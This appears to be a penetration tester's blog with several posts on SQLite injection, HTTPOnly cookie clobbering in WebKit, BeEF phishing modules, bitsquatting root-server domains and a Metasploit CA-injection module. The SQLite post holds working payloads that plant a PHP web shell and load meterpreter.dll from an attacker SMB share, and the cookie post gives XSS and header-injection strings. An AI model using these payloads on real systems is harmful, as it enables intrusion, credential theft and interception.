Long time no post! Well, I've been up to some stuff in the background. At Kiwicon 7 this last weekend I presented some of my latest research, which has been focused on Bitsquatting (as introduced by Artem Dinaburg back in 2011
). My research took bitsquatting in a different direction; rather than focusing on a single domain (e.g. fbcdn.net or microsoft.com) I went for the jugular of the Internet: the root-servers.net bit-flips. I also registered all flips for the gtld-servers too for good measure.
My results were pretty good. Over 18 months I've seen close to 9 million requests come to my bit-flipped domains, from victims all around the world. I have worked with our local registry, NZRS to ensure .nz is protected and to utilise their contacts to spread the concern for TLD hijacking.
If anyone is doing similar interest and would like pcaps or access to the reporting interface, get in touch with me at email@example.com and I'll see what I can do. My slides can be found at my employer's website, at Security-Assessment.com.
For those of you who haven't been, I highly recommend Kiwicon. It is full of great talks and great people, and has a relaxed culture which makes it just that much more enjoyable and easy to meet new people. Best prepare your liver, though.
(Mark Piper) gave a talk on changes to the Browser Exploitation Framework
(BeEF / @beefproject) at a recent OWASP NZ meeting, my mate Denis and I had a few beers and decided the framework needed a module for Clippy. A few beers later we had a proof of concept relying heavily on the work by sprky0 - Heretic Clippy
. The module will pop up a Clippy in the bottom right of your browser and ask you to update your browser to a more recent version. Yes = user downloads a binary of your choice; No = Clippy returning 5 seconds later to harass you some more.
A brief mention along with lots of other juicy updates can be found on the BeEF blog here
Keep tuned for modules in the works, hopefully they'll make it out and about in the next few weeks. Also big props to @beefproject
for their continuing awesome work!
A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below.
| Comments|| --|
| IF Statements|| CASE|
| Concatenation|| |||
| Substring|| substr(x,y,z)|
| Length|| length(stuff)|
| Generate single quote|| select substr(quote(hex(0)),1,1);|
| Generate double quote|| select cast(X'22' as text);|
| Generate double quote (method 2)|| .. VALUES (“<?xml version=“||””””||1|||
| Space-saving double quote generation|| select replace("<?xml version=$1.0$>","$",(select cast(X'22' as text)));|
For some reason, 4x double quotes turns into a single double quote. Quirky, but it works.
Getting Shell Trick 1 - ATTACH DATABASE
What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example:
?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;--
Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer.
Getting Shell Trick 2 - SELECT load_extension
Takes two arguments:
- A library (.dll for Windows, .so for NIX)
- An entry point (SQLITE_EXTENSION_INIT1 by default)
This is great because
- This technique doesn't require stacked queries
- The obvious - you can load a DLL right off the bat (meterpreter.dll? :)
Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example:
?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
This works wonderfully :)
Other neat bits
If you have direct DB access, you can use PRAGMA commands to find out interesting information:
- PRAGMA database_list; -- Shows info on the attached databases, including location on the FS. e.g. 0|main|/home/vt/haxing/sqlite/how.db
- PRAGMA temp_store_directory = '/filepath'; -- Supposedly sets directory for temp files, but deprecated. This would’ve been pretty sweet with the recent Android journal file permissions bug.
Conclusion / Closing Remarks
SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn!
Recently I have been investigating how cookies are treated by various browsers - specifically cookies set with the 'HTTPOnly' attribute. I've found a couple of cases where the browser's behaviour leads to interesting conditions, such as locking users out of an application - both of these issues have been identified in WebKit browsers Safari and Chrome.
This has been covered in the past by Michal Zalewski as part of the Browser Security Handbook, however some of the conditions appear to have changed, which potentially open new areas of attack. The particular areas I'm talking about are 'Overwriting cookies', 'Problems with conflict resolution' and mainly, 'Problems with "protected" cookie clobbering' on this
I have raised both of these issues as bugs / 'unusual behaviour' with Apple and Google, both of which have decided that it's not a security issue - so I'm documenting it here in case anyone else comes across or is interested in this behaviour. This behaviour eases the exploitation of session fixation vulnerabilities in web applications. While every webapp that doesn't set a new cookie upon authentication/privilege change is vulnerable to session fixation, the exploitability of the vulnerability depends on whether the attacker can control the cookie value that the web application will use as the session token - and this cookie-juggling behaviour allows the attacker to control said value.
Preconditions for this issue to be exploited are:
- that the target application is vulnerable to session fixation, and
The following methods can be used to create a new cookie in the Chrome cookie-store, with the same name as an existing cookie - even if the existing cookie was set with the HTTPOnly tag:
- <meta http-equiv=set-cookie> (via XSS)
- <script>document.cookie='mycook=setbyhtml;path=/;domain=.testvhost.com';</script> (via XSS)
- Set-Cookie:%20cookie=value%0d%0aLocation:%20logout.php (via a HTTP header injection vulnerability - must have a different domain)
In the last instance, if the cookie has a different domain (e.g. .testvhost.com instead of testvhost.com), then the same behaviour with the juggling of cookie priority will occur. Of course if you control the Set-Cookie statement you have control of the cookie anyhow, I just thought it would be helpful to note that it can still be a contributor to Chrome's behaviour.
This is a quirk with how WebKit treats multiple cookies with the same name. My expected behaviour is that Chrome would:
- only ever send one cookie, or
- always send all cookies in the same order/priority, and
- not to choose which cookie to send based on which cookie was most recently set, regardless of the method it was set in.
If the server-set (valid) cookie has a domain specified, the attack will only work until the browser receives a new cookie from the server. This is because the cookie is overwritten, rather than shuffled further down the Cookie: header.
While this behaviour does not allow a malicious actor to access an existing Cookie, it does allow the actor to more easily exploit a session fixation vulnerability or prevent a user from accessing a web application.
I have included a couple of scenarios below:
Scenario A - Cookie Overwrite:
1. Server sets a cookie with a domain flag and HTTPOnly, e.g.: "sessionid=12345; path=/; domain=.apple.com; httponly"
FQDN or subdomain e.g.: "sessionid=54321; path=/; domain=.apple.com" - overwriting the existing cookie.
3. Next request sent by the browser will send the sessionid of 54321. If the server sets a new cookie after this, the sessionid will then
take that value.
Scenario B - Cookie Added With Higher Preference:
1. Server sets a cookie without a domain specified, with HTTPOnly, e.g.: "mycook=setbyserver; path=/; httponly"
reda.cked.me or the .cked.me subdomain e.g.: "mycook=setbyhtml; path=/;
domain=.cked.me" - this creates a new cookie with a greater preference than the server-set cookie.
3. All further requests sent by the browser will send the sessionid of setbyhtml. If the server sets a new cookie after this, the sessionid will
not be changed from setbyhtml. Users could be locked out of an application (until cookies are cleared/browser is restarted) by using this technique.
In conclusion.. I can understand the browser vendors' choices not to treat this behaviour as a security vulnerability, but believe that this behaviour eases exploitation of issues in vulnerable web applications. Of specific concern is that if targetsite.com has a cookie-based session fixation vulnerability, then if subdomain.targetsite.com has an XSS issue, targetsite.com's "protected" HTTPOnly cookie can be overwritten. An interesting condition, anyway.
Ok, so it's not actually that new, but I've enjoyed my holidays and now it's time to get back into it. A while ago I added a new module to BeEF
(the Browser Exploitation Framework) called 'pretty theft'.
It's a simple little module that will use a lightbox-style effect to darken the user's browser and pop up a new div stating that their session has timed out - and that they need to reauthenticate. It also has the option to provide an image to put in the header of the div, so if you like, you can use the compromised site's logo / favicon to make it feel a touch more authentic. Once the user has provided their user and password again, the page returns to its previous state, and you have their creds.
A potential extension for this module could be to use the collected creds to authenticate to a given login page in order to test the user's credentials before returning them to the site. This will have some other implications if the application doesn't support multiple concurrent sessions, but would provide further authenticity to the user who couldn't just enter in fake creds and be on their merry may.
Last weekend was Kiwicon V, where for the fifth year in a row, we have descended upon Wellington in an ominous dark cloud. This year I presented the results of a project that's kept me busy for the last few months - Hacking Hollywood.
It's a fairly short presentation (around 30 minutes) which covers bugs in a variety of software used by the film/tv industry, including scriptwriting, storyboarding, 3D/VFX/Rendering, render farm management and video editing software. The presentation is pitched as 'hackertainment', with lots of shells and a narrative to illustrate these issues to less technical audience members. Hacking Hollywood was very well received at Kiwicon and I had lots of fun giving the talk - especially as the demo gods were on my side and everything went off without a hitch.
I largely spent the rest of the day with Eon setting up Operation Lights Out
. This game was held on the Saturday evening, upstairs at the Kiwicon V venue, the Wellington Opera House. We had a couple of access network mishaps at the start, but once we switched the users on the dead switch onto wireless everything was a go. The game held up pretty well to the hungry, hungry hackers; while we did end up opening some of the firewalls up to help speed the game along, the team that won did so without our help. So congratulations to Team SashaGrey (heh) for destroying the power plant and winning the game.
The weekend after next is Ruxcon. One of the speakers had to urgently cancel, so I will be giving the Hacking Hollywood talk in his place. I'm really looking forward to my first Ruxcon and presenting this material again - all slides and exploit code will be available after the conference (most likely the week of November 21st).
A few weeks ago, around about the time of the DigiNotar compromise
, I thought that it'd be really neat to have a way to inject a trusted Certificate Authority as part of post-exploitation activities. So I made one! There's currently an issue in Metasploit's issue tracker for my patch, myca.
To add a CA to a Windows host didn't take much to figure out; existing CAs can be found at the following location in the Windows registry: HKLM\Software\Microsoft\SystemCertificates\CA\Certificates\
The branches of that tree are named after the SHA1 of the various CA's certificates. The contents of each of these branches consisted of one key; Blob, and its associated value, which was, funnily enough, a lot of hex. I imported my own CA through Internet Explorer so that I'd have more known elements, and sat down with a coffee to pull it apart.
I found the following elements of my certificate to be included somewhere in the hex:
- MD5 signature
- SHA1 signature
- Subject Key Identifier (or Authority Key Identifier)
- DER form of the certificate itself
The pseudo-hex of the blob of my certificate can be found below:
04 00 00 00 01 00 00 00 10 00 00 00 <md5>
03 00 00 00 01 00 00 00 14 00 00 00 <sha1>
14 00 00 00 01 00 00 00 14 00 00 00 <subject key identifier>
20 00 00 00 01 00 00 00 41 03 00 00 <DER of the certificate>
^1 ^2 ^3
The red identifiers above can be explained as such (as far as I can tell, anyway. The explanation works for me..):
- The field 'id number'
- The number of values this field has
- The length of the field
There are also a bunch of other fields/values in the Blob which I could find no reference to in my certificate. Fortunately for me, Windows fills in these blanks for you when you omit them. Sweet as.
Armed with the information above, I spent a few hours battling with Ruby to get the formatting right, and I could form the blob perfectly. Using the existing registry commands in meterpreter, the rest of the module was a piece of cake.
Myca also allows the adding and removing of entries from the Windows hosts file, which makes SSL MITM that much easier, as you no longer need to be on your victim's network. Bonus.
Previous incarnations of atta.cked.me have been clumsily written in HTML and require far too much effort to update. However, I refuse to run a poorly coded PHP CMS on my own kit. Solution: The Cloud!
If all goes to plan, this site will be updated with the various tools/research I have been working on, along with anything else that comes across my mind.